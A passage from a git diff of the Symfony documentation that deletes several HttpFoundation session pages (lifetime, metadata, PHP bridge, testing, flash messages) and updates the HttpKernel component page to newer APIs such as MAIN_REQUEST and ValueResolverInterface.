-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage` -or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions` -method. - -Session Lifetime -~~~~~~~~~~~~~~~~ - -When a new session is created, meaning Symfony issues a new session cookie -to the client, the cookie will be stamped with an expiry time. This is -calculated by adding the PHP runtime configuration value in -``session.cookie_lifetime`` with the current server time. - -.. note:: - - PHP will only issue a cookie once. The client is expected to store that cookie - for the entire lifetime. A new cookie will only be issued when the session is - destroyed, the browser cookie is deleted, or the session ID is regenerated - using the ``migrate()`` or ``invalidate()`` methods of the ``Session`` class. - - The initial cookie lifetime can be set by configuring ``NativeSessionStorage`` - using the ``setOptions(['cookie_lifetime' => 1234])`` method. - -.. note:: - - A cookie lifetime of ``0`` means the cookie expires when the browser is closed. - -Session Idle Time/Keep Alive -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -There are often circumstances where you may want to protect, or minimize -unauthorized use of a session when a user steps away from their terminal while -logged in by destroying the session after a certain period of idle time. For -example, it is common for banking applications to log the user out after just -5 to 10 minutes of inactivity. Setting the cookie lifetime here is not -appropriate because that can be manipulated by the client, so we must do the expiry -on the server side. The easiest way is to implement this via garbage collection -which runs reasonably frequently. The ``cookie_lifetime`` would be set to a -relatively high value, and the garbage collection ``gc_maxlifetime`` would be set -to destroy sessions at whatever the desired idle period is. - -The other option is specifically check if a session has expired after the -session is started. The session can be destroyed as required. This method of -processing can allow the expiry of sessions to be integrated into the user -experience, for example, by displaying a message. - -Symfony records some basic metadata about each session to give you complete -freedom in this area. - -Session Cache Limiting -~~~~~~~~~~~~~~~~~~~~~~ - -To avoid users seeing stale data, it's common for session-enabled resources to be -sent with headers that disable caching. For this purpose PHP Sessions has the -``sessions.cache_limiter`` option, which determines which headers, if any, will be -sent with the response when the session in started. - -Upon construction, -:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage` -sets this global option to ``""`` (send no headers) in case the developer wishes to -use a :class:`Symfony\\Component\\HttpFoundation\\Response` object to manage -response headers. - -.. caution:: - - If you rely on PHP Sessions to manage HTTP caching, you *must* manually set the - ``cache_limiter`` option in - :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage` - to a non-empty value. - - For example, you may set it to PHP's default value during construction: - - Example usage:: - - use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage; - - $options['cache_limiter'] = session_cache_limiter(); - $sessionStorage = new NativeSessionStorage($options); - -Session Metadata -~~~~~~~~~~~~~~~~ - -Sessions are decorated with some basic metadata to enable fine control over the -security settings. The session object has a getter for the metadata, -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getMetadataBag` which -exposes an instance of :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MetadataBag`:: - - $session->getMetadataBag()->getCreated(); - $session->getMetadataBag()->getLastUsed(); - -Both methods return a Unix timestamp (relative to the server). - -This metadata can be used to explicitly expire a session on access, e.g.:: - - $session->start(); - if (time() - $session->getMetadataBag()->getLastUsed() > $maxIdleTime) { - $session->invalidate(); - throw new SessionExpired(); // redirect to expired session page - } - -It is also possible to tell what the ``cookie_lifetime`` was set to for a -particular cookie by reading the ``getLifetime()`` method:: - - $session->getMetadataBag()->getLifetime(); - -The expiry time of the cookie can be determined by adding the created -timestamp and the lifetime. - -.. _`php.net/session.customhandler`: https://www.php.net/session.customhandler -.. _`php.net/session.configuration`: https://www.php.net/session.configuration diff --git a/components/http_foundation/session_php_bridge.rst b/components/http_foundation/session_php_bridge.rst deleted file mode 100644 index 00f57e59e4f..00000000000 --- a/components/http_foundation/session_php_bridge.rst +++ /dev/null @@ -1,48 +0,0 @@ -.. index:: - single: HTTP - single: HttpFoundation, Sessions - -Integrating with Legacy Sessions -================================ - -Sometimes it may be necessary to integrate Symfony into a legacy application -where you do not initially have the level of control you require. - -As stated elsewhere, Symfony Sessions are designed to replace the use of -PHP's native ``session_*()`` functions and use of the ``$_SESSION`` -superglobal. Additionally, it is mandatory for Symfony to start the session. - -However, when there really are circumstances where this is not possible, you -can use a special storage bridge -:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\PhpBridgeSessionStorage` -which is designed to allow Symfony to work with a session started outside of -the Symfony HttpFoundation component. You are warned that things can interrupt -this use-case unless you are careful: for example the legacy application -erases ``$_SESSION``. - -A typical use of this might look like this:: - - use Symfony\Component\HttpFoundation\Session\Session; - use Symfony\Component\HttpFoundation\Session\Storage\PhpBridgeSessionStorage; - - // legacy application configures session - ini_set('session.save_handler', 'files'); - ini_set('session.save_path', '/tmp'); - session_start(); - - // Get Symfony to interface with this existing session - $session = new Session(new PhpBridgeSessionStorage()); - - // symfony will now interface with the existing PHP session - $session->start(); - -This will allow you to start using the Symfony Session API and allow migration -of your application to Symfony sessions. - -.. note:: - - Symfony sessions store data like attributes in special 'Bags' which use a - key in the ``$_SESSION`` superglobal. This means that a Symfony session - cannot access arbitrary keys in ``$_SESSION`` that may be set by the legacy - application, although all the ``$_SESSION`` contents will be saved when - the session is saved. diff --git a/components/http_foundation/session_testing.rst b/components/http_foundation/session_testing.rst deleted file mode 100644 index 7d8a570c17e..00000000000 --- a/components/http_foundation/session_testing.rst +++ /dev/null @@ -1,58 +0,0 @@ -.. index:: - single: HTTP - single: HttpFoundation, Sessions - -Testing with Sessions -===================== - -Symfony is designed from the ground up with code-testability in mind. In order -to test your code which utilizes sessions, we provide two separate mock storage -mechanisms for both unit testing and functional testing. - -Testing code using real sessions is tricky because PHP's workflow state is global -and it is not possible to have multiple concurrent sessions in the same PHP -process. - -The mock storage engines simulate the PHP session workflow without actually -starting one allowing you to test your code without complications. You may also -run multiple instances in the same PHP process. - -The mock storage drivers do not read or write the system globals -``session_id()`` or ``session_name()``. Methods are provided to simulate this if -required: - -* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::getId`: Gets the - session ID. - -* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::setId`: Sets the - session ID. - -* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::getName`: Gets the - session name. - -* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::setName`: Sets the - session name. - -Unit Testing ------------- - -For unit testing where it is not necessary to persist the session, you should -swap out the default storage engine with -:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockArraySessionStorage`:: - - use Symfony\Component\HttpFoundation\Session\Session; - use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage; - - $session = new Session(new MockArraySessionStorage()); - -Functional Testing ------------------- - -For functional testing where you may need to persist session data across -separate PHP processes, change the storage engine to -:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockFileSessionStorage`:: - - use Symfony\Component\HttpFoundation\Session\Session; - use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage; - - $session = new Session(new MockFileSessionStorage()); diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst deleted file mode 100644 index 9c9479e3e5e..00000000000 --- a/components/http_foundation/sessions.rst +++ /dev/null @@ -1,346 +0,0 @@ -.. index:: - single: HTTP - single: HttpFoundation, Sessions - -Session Management -================== - -The Symfony HttpFoundation component has a very powerful and flexible session -subsystem which is designed to provide session management through a clear -object-oriented interface using a variety of session storage drivers. - -Sessions are used via the :class:`Symfony\\Component\\HttpFoundation\\Session\\Session` -implementation of :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface` interface. - -.. caution:: - - Make sure your PHP session isn't already started before using the Session - class. If you have a legacy session system that starts your session, see - :doc:`Legacy Sessions </components/http_foundation/session_php_bridge>`. - -Quick example:: - - use Symfony\Component\HttpFoundation\Session\Session; - - $session = new Session(); - $session->start(); - - // set and get session attributes - $session->set('name', 'Drak'); - $session->get('name'); - - // set flash messages - $session->getFlashBag()->add('notice', 'Profile updated'); - - // retrieve messages - foreach ($session->getFlashBag()->get('notice', []) as $message) { - echo '<div class="flash-notice">'.$message.'</div>'; - } - -.. note:: - - Symfony sessions are designed to replace several native PHP functions. - Applications should avoid using ``session_start()``, ``session_regenerate_id()``, - ``session_id()``, ``session_name()``, and ``session_destroy()`` and instead - use the APIs in the following section. - -.. note:: - - While it is recommended to explicitly start a session, a session will actually - start on demand, that is, if any session request is made to read/write session - data. - -.. caution:: - - Symfony sessions are incompatible with ``php.ini`` directive ``session.auto_start = 1`` - This directive should be turned off in ``php.ini``, in the webserver directives or - in ``.htaccess``. - -Session API -~~~~~~~~~~~ - -The :class:`Symfony\\Component\\HttpFoundation\\Session\\Session` class implements -:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`. - -The :class:`Symfony\\Component\\HttpFoundation\\Session\\Session` has the -following API, divided into a couple of groups. - -Session Workflow -................ - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::start` - Starts the session - do not use ``session_start()``. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::migrate` - Regenerates the session ID - do not use ``session_regenerate_id()``. - This method can optionally change the lifetime of the new cookie that will - be emitted by calling this method. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::invalidate` - Clears all session data and regenerates session ID. Do not use ``session_destroy()``. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getId` - Gets the session ID. Do not use ``session_id()``. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::setId` - Sets the session ID. Do not use ``session_id()``. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getName` - Gets the session name. Do not use ``session_name()``. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::setName` - Sets the session name. Do not use ``session_name()``. - -Session Attributes -.................. - -The session attributes are stored internally in a "Bag", a PHP object that acts -like an array. They can be set, removed, checked, etc. using the methods -explained later in this article for the ``AttributeBagInterface`` class. See -:ref:`attribute-bag-interface`. - -In addition, a few methods exist for "Bag" management: - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::registerBag` - Registers a :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface`. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getBag` - Gets a :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface` by - bag name. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getFlashBag` - Gets the :class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface`. - This is just a shortcut for convenience. - -Session Metadata -................ - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getMetadataBag` - Gets the :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MetadataBag` - which contains information about the session. - -Session Data Management -~~~~~~~~~~~~~~~~~~~~~~~ - -PHP's session management requires the use of the ``$_SESSION`` super-global, -however, this interferes somewhat with code testability and encapsulation in an -OOP paradigm. To help overcome this, Symfony uses *session bags* linked to the -session to encapsulate a specific dataset of attributes or flash messages. - -This approach also mitigates namespace pollution within the ``$_SESSION`` -super-global because each bag stores all its data under a unique namespace. -This allows Symfony to peacefully co-exist with other applications or libraries -that might use the ``$_SESSION`` super-global and all data remains completely -compatible with Symfony's session management. - -Symfony provides two kinds of storage bags, with two separate implementations. -Everything is written against interfaces so you may extend or create your own -bag types if necessary. - -:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface` has -the following API which is intended mainly for internal purposes: - -:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::getStorageKey` - Returns the key which the bag will ultimately store its array under in ``$_SESSION``. - Generally this value can be left at its default and is for internal use. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::initialize` - This is called internally by Symfony session storage classes to link bag data - to the session. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::getName` - Returns the name of the session bag. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::clear` - Clears out data from bag. - -.. _attribute-bag-interface: - -Attributes -~~~~~~~~~~ - -The purpose of the bags implementing the :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface` -is to handle session attribute storage. This might include things like user ID, -and "Remember Me" login settings or other user based state information. - -:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag` - This is the standard default implementation. - -:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag` - This implementation allows for attributes to be stored in a structured namespace. - -:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface` -has the API - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::set` - Sets an attribute by name (``set('name', 'value')``). - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::get` - Gets an attribute by name (``get('name')``) and can define a default - value when the attribute doesn't exist (``get('name', 'default_value')``). - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::all` - Gets all attributes as an associative array of ``name => value``. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::has` - Returns ``true`` if the attribute exists. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::replace` - Sets multiple attributes at once using an associative array (``name => value``). - If the attributes existed, they are replaced; if not, they are created. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::remove` - Deletes an attribute by name and returns its value. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::clear` - Deletes all attributes. - -Example:: - - use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag; - use Symfony\Component\HttpFoundation\Session\Session; - use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage; - - $session = new Session(new NativeSessionStorage(), new AttributeBag()); - $session->set('token', 'a6c1e0b6'); - // ... - $token = $session->get('token'); - // if the attribute may or may not exist, you can define a default value for it - $token = $session->get('attribute-name', 'default-attribute-value'); - // ... - $session->clear(); - -.. _namespaced-attributes: - -Namespaced Attributes -..................... - -Any plain key-value storage system is limited in the extent to which -complex data can be stored since each key must be unique. You can achieve -namespacing by introducing a naming convention to the keys so different parts of -your application could operate without clashing. For example, ``module1.foo`` and -``module2.foo``. However, sometimes this is not very practical when the attributes -data is an array, for example a set of tokens. In this case, managing the array -becomes a burden because you have to retrieve the array then process it and -store it again:: - - $tokens = [ - 'tokens' => [ - 'a' => 'a6c1e0b6', - 'b' => 'f4a7b1f3', - ], - ]; - -So any processing of this might quickly get ugly, even adding a token to the array:: - - $tokens = $session->get('tokens'); - $tokens['c'] = $value; - $session->set('tokens', $tokens); - -With structured namespacing, the key can be translated to the array -structure like this using a namespace character (which defaults to ``/``):: - - // ... - use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag; - - $session = new Session(new NativeSessionStorage(), new NamespacedAttributeBag()); - $session->set('tokens/c', $value); - -Flash Messages -~~~~~~~~~~~~~~ - -The purpose of the :class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface` -is to provide a way of setting and retrieving messages on a per session basis. -The usual workflow would be to set flash messages in a request and to display them -after a page redirect. For example, a user submits a form which hits an update -controller, and after processing the controller redirects the page to either the -updated page or an error page. Flash messages set in the previous page request -would be displayed immediately on the subsequent page load for that session. -This is however just one application for flash messages. - -:class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\AutoExpireFlashBag` - In this implementation, messages set in one page-load will - be available for display only on the next page load. These messages will auto - expire regardless of if they are retrieved or not. - -:class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBag` - In this implementation, messages will remain in the session until - they are explicitly retrieved or cleared. This makes it possible to use ESI - caching. - -:class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface` -has the API - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::add` - Adds a flash message to the stack of specified type. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::set` - Sets flashes by type; This method conveniently takes both single messages as - a ``string`` or multiple messages in an ``array``. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::get` - Gets flashes by type and clears those flashes from the bag. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::setAll` - Sets all flashes, accepts a keyed array of arrays ``type => [messages]``. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::all` - Gets all flashes (as a keyed array of arrays) and clears the flashes from the bag. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek` - Gets flashes by type (read only). - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peekAll` - Gets all flashes (read only) as keyed array of arrays. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::has` - Returns true if the type exists, false if not. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::keys` - Returns an array of the stored flash types. - -:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::clear` - Clears the bag. - -For simple applications it is usually sufficient to have one flash message per -type, for example a confirmation notice after a form is submitted. However, -flash messages are stored in a keyed array by flash ``$type`` which means your -application can issue multiple messages for a given type. This allows the API -to be used for more complex messaging in your application. - -Examples of setting multiple flashes:: - - use Symfony\Component\HttpFoundation\Session\Session; - - $session = new Session(); - $session->start(); - - // add flash messages - $session->getFlashBag()->add( - 'warning', - 'Your config file is writable, it should be set read-only' - ); - $session->getFlashBag()->add('error', 'Failed to update name'); - $session->getFlashBag()->add('error', 'Another error'); - -Displaying the flash messages might look as follows. - -Display one type of message:: - - // display warnings - foreach ($session->getFlashBag()->get('warning', []) as $message) { - echo '<div class="flash-warning">'.$message.'</div>'; - } - - // display errors - foreach ($session->getFlashBag()->get('error', []) as $message) { - echo '<div class="flash-error">'.$message.'</div>'; - } - -Compact method to process display all flashes at once:: - - foreach ($session->getFlashBag()->all() as $type => $messages) { - foreach ($messages as $message) { - echo '<div class="flash-'.$type.'">'.$message.'</div>'; - } - } diff --git a/components/http_kernel.rst b/components/http_kernel.rst index c0da0fd6cfa..62d1e92d89b 100644 --- a/components/http_kernel.rst +++ b/components/http_kernel.rst @@ -1,15 +1,10 @@ -.. index:: - single: HTTP - single: HttpKernel - single: Components; HttpKernel - The HttpKernel Component ======================== The HttpKernel component provides a structured process for converting a ``Request`` into a ``Response`` by making use of the EventDispatcher - component. It's flexible enough to create a full-stack framework (Symfony), - a micro-framework (Silex) or an advanced CMS system (Drupal). + component. It's flexible enough to create a full-stack framework (Symfony) + or an advanced CMS (Drupal). Installation ------------ @@ -20,8 +15,10 @@ Installation .. include:: /components/require_autoload.rst.inc -The Workflow of a Request -------------------------- +.. _the-workflow-of-a-request: + +The Request-Response Lifecycle +------------------------------ .. seealso:: @@ -31,11 +28,10 @@ The Workflow of a Request :doc:`/event_dispatcher` articles to learn about how to use it to create controllers and define events in Symfony applications. - Every HTTP web interaction begins with a request and ends with a response. Your job as a developer is to create PHP code that reads the request information (e.g. the URL) and creates and returns a response (e.g. an HTML page or JSON string). -This is a simplified overview of the request workflow in Symfony applications: +This is a simplified overview of the request-response lifecycle in Symfony applications: #. The **user** asks for a **resource** in a **browser**; #. The **browser** sends a **request** to the **server**; @@ -65,21 +61,23 @@ that system:: */ public function handle( Request $request, - int $type = self::MASTER_REQUEST, + int $type = self::MAIN_REQUEST, bool $catch = true - ); + ): Response; } Internally, :method:`HttpKernel::handle() <Symfony\\Component\\HttpKernel\\HttpKernel::handle>` - the concrete implementation of :method:`HttpKernelInterface::handle() <Symfony\\Component\\HttpKernel\\HttpKernelInterface::handle>` - -defines a workflow that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request` +defines a lifecycle that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request` and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`. .. raw:: html - <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"></object> + <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml" + alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections." + ></object> -The exact details of this workflow are the key to understanding how the kernel +The exact details of this lifecycle are the key to understanding how the kernel (and the Symfony Framework or any other library that uses the kernel) works. HttpKernel: Driven by Events @@ -131,17 +129,10 @@ listeners to the events discussed below:: // trigger the kernel.terminate event $kernel->terminate($request, $response); -See ":ref:`http-kernel-working-example`" for a more concrete implementation. +See ":ref:`A full working example <http-kernel-working-example>`" for a more concrete implementation. For general information on adding listeners to the events below, see -:ref:`http-kernel-creating-listener`. - -.. caution:: - - As of 3.1 the :class:`Symfony\\Component\\HttpKernel\\HttpKernel` accepts a - fourth argument, which must be an instance of - :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolverInterface`. - In 4.0 this argument will become mandatory. +:ref:`Creating an Event Listener <http-kernel-creating-listener>`. .. seealso:: @@ -236,7 +227,7 @@ This implementation is explained more in the sidebar below:: interface ControllerResolverInterface { - public function getController(Request $request); + public function getController(Request $request): callable|false; } Internally, the ``HttpKernel::handle()`` method first calls @@ -249,7 +240,7 @@ on the request's information. The Symfony Framework uses the built-in :class:`Symfony\\Component\\HttpKernel\\Controller\\ControllerResolver` - class (actually, it uses a sub-class with some extra functionality + class (actually, it uses a subclass with some extra functionality mentioned below). This class leverages the information that was placed on the ``Request`` object's ``attributes`` property during the ``RouterListener``. @@ -270,11 +261,6 @@ on the request's information. b) A new instance of your controller class is instantiated with no constructor arguments. - c) If the controller implements :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareInterface`, - ``setContainer()`` is called on the controller object and the container - is passed to it. This step is also specific to the :class:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerResolver` - sub-class used by the Symfony Framework. - .. _component-http-kernel-kernel-controller: 3) The ``kernel.controller`` Event @@ -289,7 +275,11 @@ After the controller callable has been determined, ``HttpKernel::handle()`` dispatches the ``kernel.controller`` event. Listeners to this event might initialize some part of the system that needs to be initialized after certain things have been determined (e.g. the controller, routing information) but before -the controller is executed. For some examples, see the Symfony section below. +the controller is executed. + +Another typical use-case for this event is to retrieve the attributes from +the controller using the :method:`Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::getAttributes` +method. See the Symfony section below for some examples. Listeners to this event can also change the controller callable completely by calling :method:`ControllerEvent::setController <Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::setController>` @@ -297,18 +287,15 @@ on the event object that's passed to listeners on this event. .. sidebar:: ``kernel.controller`` in the Symfony Framework - There are a few minor listeners to the ``kernel.controller`` event in - the Symfony Framework, and many deal with collecting profiler data when - the profiler is enabled. + An interesting listener to ``kernel.controller`` in the Symfony + Framework is :class:`Symfony\\Component\\HttpKernel\\EventListener\\CacheAttributeListener`. + This class fetches ``#[Cache]`` attribute configuration from the + controller and uses it to configure :doc:`HTTP caching </http_cache>` + on the response. - One interesting listener comes from the `SensioFrameworkExtraBundle`_. This - listener's `@ParamConverter`_ functionality allows you to pass a full object - (e.g. a ``Post`` object) to your controller instead of a scalar value (e.g. - an ``id`` parameter that was on your route). The listener - - ``ParamConverterListener`` - uses reflection to look at each of the - arguments of the controller and tries to use different methods to convert - those to objects, which are then stored in the ``attributes`` property of - the ``Request`` object. Read the next section to see why this is important. + There are a few other minor listeners to the ``kernel.controller`` event in + the Symfony Framework that deal with collecting profiler data when the + profiler is enabled. 4) Getting the Controller Arguments ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -347,10 +334,10 @@ of arguments that should be passed when executing that callable. available through the `variadic`_ argument. This functionality is provided by resolvers implementing the - :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`. + :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`. There are four implementations which provide the default behavior of Symfony but customization is the key here. By implementing the - ``ArgumentValueResolverInterface`` yourself and passing this to the + ``ValueResolverInterface`` yourself and passing this to the ``ArgumentResolver``, you can extend this functionality. .. _component-http-kernel-calling-controller: @@ -358,7 +345,7 @@ of arguments that should be passed when executing that callable. 5) Calling the Controller ~~~~~~~~~~~~~~~~~~~~~~~~~ -The next step ``HttpKernel::handle()`` does is executing the controller. +The next step of ``HttpKernel::handle()`` is executing the controller. The job of the controller is to build the response for the given resource. This could be an HTML page, a JSON string or anything else. Unlike every @@ -409,12 +396,12 @@ return a ``Response``. .. sidebar:: ``kernel.view`` in the Symfony Framework - There is no default listener inside the Symfony Framework for the ``kernel.view`` - event. However, `SensioFrameworkExtraBundle`_ *does* add a listener to this - event. If your controller returns an array, and you place the `@Template`_ - annotation above the controller, then this listener renders a template, - passes the array you returned from your controller to that template, and - creates a ``Response`` containing the returned content from that template. + There is a default listener inside the Symfony Framework for the ``kernel.view`` + event. If your controller action returns an array, and you apply the + :ref:`#[Template] attribute <templates-template-attribute>` to that + controller action, then this listener renders a template, passes the array + you returned from your controller to that template, and creates a ``Response`` + containing the returned content from that template. Additionally, a popular community bundle `FOSRestBundle`_ implements a listener on this event which aims to give you a robust view layer @@ -484,11 +471,11 @@ you will trigger the ``kernel.terminate`` event where you can perform certain actions that you may have delayed in order to return the response as quickly as possible to the client (e.g. sending emails). -.. caution:: +.. warning:: Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request` - PHP function. This means that at the moment, only the `PHP FPM`_ server - API is able to send a response to the client while the server's PHP process + PHP function. This means that at the moment, only the `PHP FPM`_ API and the + `FrankenPHP`_ server are able to send a response to the client while the server's PHP process still performs some tasks. With all other server APIs, listeners to ``kernel.terminate`` are still executed, but the response is not sent to the client until they are all completed. @@ -498,16 +485,10 @@ as possible to the client (e.g. sending emails). Using the ``kernel.terminate`` event is optional, and should only be called if your kernel implements :class:`Symfony\\Component\\HttpKernel\\TerminableInterface`. -.. sidebar:: ``kernel.terminate`` in the Symfony Framework - - If you use the :ref:`memory spooling <email-spool-memory>` option of the - default Symfony mailer, then the `EmailSenderListener`_ is activated, which - actually delivers any emails that you scheduled to send during the request. - .. _component-http-kernel-kernel-exception: -Handling Exceptions: the ``kernel.exception`` Event -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +9) Handling Exceptions: the ``kernel.exception`` Event +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **Typical Purposes**: Handle some type of exception and create an appropriate ``Response`` to return for the exception @@ -515,14 +496,16 @@ Handling Exceptions: the ``kernel.exception`` Event :ref:`Kernel Events Information Table <component-http-kernel-event-table>` If an exception is thrown at any point inside ``HttpKernel::handle()``, another -event - ``kernel.exception`` is thrown. Internally, the body of the ``handle()`` -function is wrapped in a try-catch block. When any exception is thrown, the +event - ``kernel.exception`` is dispatched. Internally, the body of the ``handle()`` +method is wrapped in a try-catch block. When any exception is thrown, the ``kernel.exception`` event is dispatched so that your system can somehow respond to the exception. .. raw:: html - <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"></object> + <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml" + alt="The HTTP KErnel flow diagram showing how exceptions bypass all further steps and are directly transformed to responses." + ></object> Each listener to this event is passed a :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent` object, which you can use to access the original exception via the @@ -537,6 +520,17 @@ comes with an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListen which if you choose to use, will do this and more by default (see the sidebar below for more details). +The :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent` exposes the +:method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::isKernelTerminating` +method, which you can use to determine if the kernel is currently terminating +at the moment the exception was thrown. + +.. versionadded:: 7.1 + + The + :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::isKernelTerminating` + method was introduced in Symfony 7.1. + .. note:: When setting a response for the ``kernel.exception`` event, the propagation @@ -596,7 +590,7 @@ on creating and attaching event listeners, see :doc:`/components/event_dispatche The name of each of the "kernel" events is defined as a constant on the :class:`Symfony\\Component\\HttpKernel\\KernelEvents` class. Additionally, each -event listener is passed a single argument, which is some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`. +event listener is passed a single argument, which is some subclass of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`. This object contains information about the current state of the system and each event has their own event object: @@ -643,7 +637,7 @@ else that can be used to create a working example:: $routes = new RouteCollection(); $routes->add('hello', new Route('/hello/{name}', [ - '_controller' => function (Request $request) { + '_controller' => function (Request $request): Response { return new Response( sprintf("Hello %s", $request->get('name')) ); @@ -673,7 +667,7 @@ Sub Requests ------------ In addition to the "main" request that's sent into ``HttpKernel::handle()``, -you can also send so-called "sub request". A sub request looks and acts like +you can also send a so-called "sub request". A sub request looks and acts like any other request, but typically serves to render just one small portion of a page instead of a full page. You'll most commonly make sub-requests from your controller (or perhaps from inside a template, that's being rendered by @@ -681,7 +675,9 @@ your controller). .. raw:: html - <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"></object> + <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml" + alt="The HTTP Kernel flow diagram with a sub request from a controller starting the lifecycle at step 1 again and feeding the sub Response content back into the controller." + ></object> To execute a sub request, use ``HttpKernel::handle()``, but change the second argument as follows:: @@ -701,45 +697,51 @@ argument as follows:: This creates another full request-response cycle where this new ``Request`` is transformed into a ``Response``. The only difference internally is that some -listeners (e.g. security) may only act upon the master request. Each listener -is passed some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`, -whose 